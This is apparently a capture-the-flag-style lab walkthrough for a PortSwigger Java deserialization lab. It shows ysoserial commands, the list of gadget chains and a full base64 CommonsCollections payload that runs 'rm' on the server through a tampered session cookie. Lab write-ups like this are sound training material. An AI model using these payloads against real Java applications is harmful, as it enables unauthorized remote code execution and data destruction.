PortSwiggerlabs: Exploiting Java deserialization with Apache Commons
Information :
This lab uses a serialization-based session mechanism and loads the Apache Commons Collections library. Although you don’t have source code access, you can still exploit this lab using pre-built gadget chains.
To solve the lab, use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos’s home directory.
You can log in to your own account using the following credentials: wiener:peter
Solution :
Now first we login as wiener :
Then we check Burp :
If we had Burp Pro , it would automatically flag the serialized object , but in our case , i needed to decode it using Inspector , we can see the first magic bytes :
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ac ed \0 05 sr \0
ac ed are Magic bytes for Java , every serialized object starts with this , ALWAYS .
Now for Java , it’s different than PHP , we can’t just modify the cookie value ourselves and just Base64 and URL encode it after .
Since it’s Java the serialized object is a binary which makes it almost impossible to read , we find some strings we can read but the rest is just gibberish . Moral of the story we need a tool to be able to modify the serialized object for Java :
Now the tool we’re going to use is : ysoserial
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https://github.com/frohoff/ysoserial
Now since we need to remove the morale.txt file from Carlos’s home directory, the command we need is :
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rm /home/carlos/morale.txt
java -jar ysoserial-all.jar "rm /home/carlos/morale.txt"
We still need to provide the payload type which is basically the classes that we can abuse :
CommonsCollections = the library that contains the abusable classes
We can list all of them :
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Payload Authors Dependencies
------- ------- ------------
AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5
C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11
Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure @JackOfMostTrades clojure:1.8.0
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
CommonsCollections1 @frohoff commons-collections:3.1
CommonsCollections2 @frohoff commons-collections4:4.0
CommonsCollections3 @frohoff commons-collections:3.1
CommonsCollections4 @frohoff commons-collections4:4.0
CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
CommonsCollections6 @matthias_kaiser commons-collections:3.1
CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
Groovy1 @frohoff groovy:2.3.9
Hibernate1 @mbechler
Hibernate2 @mbechler
JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
JRMPClient @mbechler
JRMPListener @mbechler
JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21 @frohoff
Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2
MozillaRhino1 @matthias_kaiser js:1.7R2
MozillaRhino2 @_tint0 js:1.7R2
Myfaces1 @mbechler
Myfaces2 @mbechler
ROME @mbechler rome:1.0
Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
URLDNS @gebl
Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14
Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4
Let’s try the CommonCollections :
If you’re using a recent Java version , you should get an error since ysoserial won’t be able to access internal classes .
A way around this is either use –add-opens which will manually open specific module/packages so that external code can access it , or simply install Java 8 and use it instead :
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wget https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u392-b08/OpenJDK8U-jdk_x64_linux_hotspot_8u392b08.tar.gz
tar -xzf OpenJDK8U-jdk_x64_linux_hotspot_8u392b08.tar.gz
./jdk8u392-b08/bin/java -jar ysoserial-all.jar CommonsCollections6 'rm /home/carlos/morale.txt' | base64 -w 0
Perfect , now we’ve got our paylaod :
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rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ABpybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dHQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4
Now back to Repeater :
We just modify the Cookie :
We should always URL encode everything before sending the request since serialized objects are expected to be URL encoded :
CommonsCollections6 targets commons-collections 3.x but the server has commons-collections 4.x installed, which has different package names → ClassNotFoundException. We try other gadget chains that target the correct version until one matches what’s actually installed on the server
In other words :
Between version 3 and 4, Apache Commons Collections changed their package name, so the classes are at a different path, CC6 looks for the version 3 path but the server only has version 4 installed, so it can’t find it → ClassNotFoundException
Now we just try different collections :
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./jdk8u392-b08/bin/java -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0
Now we just replace the cookie with this value , and make sure you URL encode it before sending it :
Perfect we were able to delete the file , and solve our lab .
That was all for this lab , see you in the next one :)